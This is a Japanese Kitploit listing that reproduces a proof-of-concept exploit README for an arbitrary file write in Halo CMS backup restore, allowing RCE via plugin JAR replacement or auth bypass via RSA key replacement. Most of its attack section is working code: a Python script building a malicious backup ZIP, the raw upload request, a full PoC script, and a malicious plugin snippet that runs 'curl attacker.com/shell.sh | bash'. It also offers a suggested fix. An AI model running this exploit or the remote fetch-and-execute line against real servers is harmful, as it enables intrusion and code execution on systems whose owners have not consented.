Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
halo-2.25.4-backup-write-CVE-2026-67920 — Halo CMSのバックアップ復元における任意ファイル書き込み脆弱性の概念実証エクスプロイトで、プラグインJARの置換によるRCEまたは認証バイパスを可能にします。 | Kitploit
ツール/GitHubGitHub/unpredictable21/halo-2.25.4-backup-write-cve-2026-67920
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubunpredictable21/halo-2.25.4-backup-write-cve-2026-67920

halo-2.25.4-backup-write-CVE-2026-67920

Halo CMSのバックアップ復元における任意ファイル書き込み脆弱性の概念実証エクスプロイトで、プラグインJARの置換によるRCEまたは認証バイパスを可能にします。

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Halo CMS バックアップ復元における任意ファイル書き込み脆弱性

概要

Halo CMS バージョン 2.25.4 以前のバックアップ復元機能には、重大な任意ファイル書き込みの脆弱性が存在します。MigrationServiceImpl.java の restoreWorkdir() メソッドは、ユーザーが提供したバックアップアーカイブから workdir/ ディレクトリを、ファイルタイプの検証、パストラバーサル対策、シンボリックリンクのチェックを一切行わずに、Halo アプリケーションの作業ディレクトリ(~/.halo2/)へ直接コピーします。バックアップ管理権限を持つ認証済み攻撃者は、workdir/ ディレクトリに任意のファイルを含む悪意のあるバックアップ ZIP ファイルを作成でき、復元時にサーバーの作業ディレクトリへ書き込まれます。これにより、プラグイン JAR の置き換えによるリモートコード実行(RCE)や、RSA キーの置き換えによる認証バイパスが発生する可能性があります。

CVSS v3.1 スコア: 8.8(高)
CVSS ベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-73(ファイル名またはパスの外部制御)


影響を受けるバージョン

  • Halo CMS ≤ 2.25.4
  • バックアップ復元機能を持つすべてのバージョン

脆弱性の詳細

根本原因

この脆弱性は、MigrationServiceImpl.java の restoreWorkdir() メソッド(230〜243行目)に存在します:

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // VULNERABLE LINE
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

copyRecursively() メソッド(Spring の FileSystemUtils)は、以下のチェックなしに再帰的コピーを実行します:

  1. ファイルタイプの検証 - ファイル拡張子や MIME タイプのチェックなし
  2. パストラバーサル対策 - ファイル名の .. シーケンスのチェックなし
  3. シンボリックリンクの検出 - シンボリックリンクのチェックなし
  4. ファイルサイズ制限 - ファイルサイズの制限なし
  5. 上書き保護 - 既存ファイルを黙って上書き

攻撃ベクトル

この脆弱性は、バックアップ復元エンドポイントを通じてトリガーされます:

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

復元プロセスは以下の順序で実行されます:

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → ZIP を一時ディレクトリに展開           │
│  2. restoreExtensions() → extensions.data を復元            │
│  3. restoreWorkdir() → workdir/ を ~/.halo2/ にコピー       │
│     ↑ 任意のファイルが作業ディレクトリに書き込まれる        │
└─────────────────────────────────────────────────────────────┘

悪意のあるバックアップ構造

悪意のあるバックアップ ZIP ファイルには以下が含まれている必要があります:

root@kitploit:~
malicious-backup.zip
├── extensions.data          # 必須: 空または有効な JSONL を含む
└── workdir/                 # 必須: 内容が ~/.halo2/ にコピーされる
    ├── PWNED_BY_POC.txt     # 概念実証マーカーファイル
    ├── plugins/             # RCE 用のプラグイン JAR
    │   └── evil-plugin.jar  # 悪意のあるプラグイン
    └── keys/                # 認証バイパス用の RSA キー
        ├── pat_id_rsa       # 悪意のある秘密鍵
        └── pat_id_rsa.pub   # 悪意のある公開鍵

extensions.data の形式

restoreExtensions() が成功するには、extensions.data ファイルが有効である必要があります。有効な形式には以下が含まれます:

  1. 空ファイル: (空の内容)

  2. 空行: \n(改行のみ)

  3. 有効な JSONL: 各行に 1 つの ExtensionStore オブジェクト:

    root@kitploit:~
    {"name": "/registry/test/dummy", "data": "e30=", "version": 1}
    

    ここで data は base64 エンコードされたコンテンツです。


悪用手順

前提条件

  • バックアップ管理権限を持つ認証済みユーザー
  • Halo API へのネットワークアクセス

ステップ 1: 悪意のあるバックアップの作成

root@kitploit:~
import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # 空の extensions.data(restoreExtensions の検証を通過)
    zf.writestr('extensions.data', '\n')

    # ~/.halo2/ に書き込む任意のファイル
    zf.writestr('workdir/PWNED_BY_POC.txt',
                'Arbitrary file write confirmed!')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

ステップ 2: 悪意のあるバックアップのアップロード

フロントエンドのバックアップ管理アドレス:http://ip:port/console/backup

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<ZIP file binary content>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--
image

ステップ 3: 書き込まれたファイルの確認

root@kitploit:~
# Halo サーバー上で
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt
image

影響分析

直接的な影響

  1. 任意ファイル書き込み: 攻撃者は ~/.halo2/ に任意のファイルを書き込むことができます
  2. ファイルの上書き: 既存ファイルが黙って上書きされます

昇格シナリオ

攻撃ベクトル対象ファイル影響深刻度
プラグイン JAR の置き換え~/.halo2/plugins/*.jarリモートコード実行重大
RSA キーの置き換え~/.halo2/keys/pat_id_rsa認証バイパス重大
テーマの置き換え~/.halo2/themes/*保存型 XSS高
設定の上書き~/.halo2/*.yamlセキュリティ制御のバイパス高

プラグイン JAR の置き換えによる RCE

攻撃者は、正規のプラグイン JAR を以下を含む悪意のある JAR に置き換えることができます:

root@kitploit:~
@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // 任意のコマンドを実行
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

プラグインがロードされると、悪意のあるコードが Halo プロセスの権限で実行されます。


概念実証

Python PoC スクリプト

root@kitploit:~
#!/usr/bin/env python3
"""
Halo CMS バックアップ復元 任意ファイル書き込み PoC
脆弱性: バックアップ復元 任意ファイル書き込み
CVSS: 8.8(高)
"""

import io
import sys
import zipfile
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"

def create_malicious_backup():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('extensions.data', '\n')
        zf.writestr('workdir/PWNED_BY_POC.txt',
                    'Halo backup restore arbitrary file write confirmed!')
    buf.seek(0)
    return buf

def exploit():
    backup = create_malicious_backup()
    url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
    files = {'file': ('backup.zip', backup, 'application/zip')}
    headers = {'Cookie': SESSION}

    r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text[:300]}")

    if r.status_code == 200:
        print("\n[+] SUCCESS! Check: cat ~/.halo2/PWNED_BY_POC.txt")

if __name__ == "__main__":
    exploit()

検証

root@kitploit:~
# PoC の実行
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"

# Halo サーバー上で
cat ~/.halo2/PWNED_BY_POC.txt

修復策

推奨される修正

restoreWorkdir() メソッドに検証を追加します:

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                // パストラバーサルの検証
                checkDirectoryTraversal(backupRoot, workdir);

                // シンボリックリンクの検証
                Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
                    @Override
                    public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
                        if (attrs.isSymbolicLink()) {
                            throw new SecurityException("Symbolic links not allowed");
                        }
                        return FileVisitResult.CONTINUE;
                    }
                });

                // 検証付きでコピー
                copyRecursively(workdir, haloProperties.getWorkDir());
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

追加の推奨事項

  1. バックアップ署名の実装: 改ざんを防ぐためにバックアップに暗号署名を施す
  2. ファイルタイプの許可リストの追加: workdir 内の特定のファイルタイプのみを許可する
  3. ファイルサイズ制限の実装: 最大ファイルサイズを制限する
  4. 監査ログの追加: すべてのバックアップ復元操作をログに記録する
  5. 再認証の要求: バックアップ復元にパスワード確認を要求する

参考情報

  • ベンダー: https://github.com/halo-dev/halo
  • 影響を受けるコード: application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.java
  • CWE-73: https://cwe.mitre.org/data/definitions/73.html
  • CVSS 計算機: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

タイムライン

  • 発見日: 2026-07-10
  • ベンダーへの通知: [保留中]
  • 公開開示: [保留中]

クレジット

  • 発見者: LIAN

免責事項

この脆弱性の開示は、セキュリティ研究目的のみを意図しています。著者は、この情報の誤用について一切の責任を負いません。システムの脆弱性をテストする前に、必ず適切な許可を取得してください。

ツールをダウンロード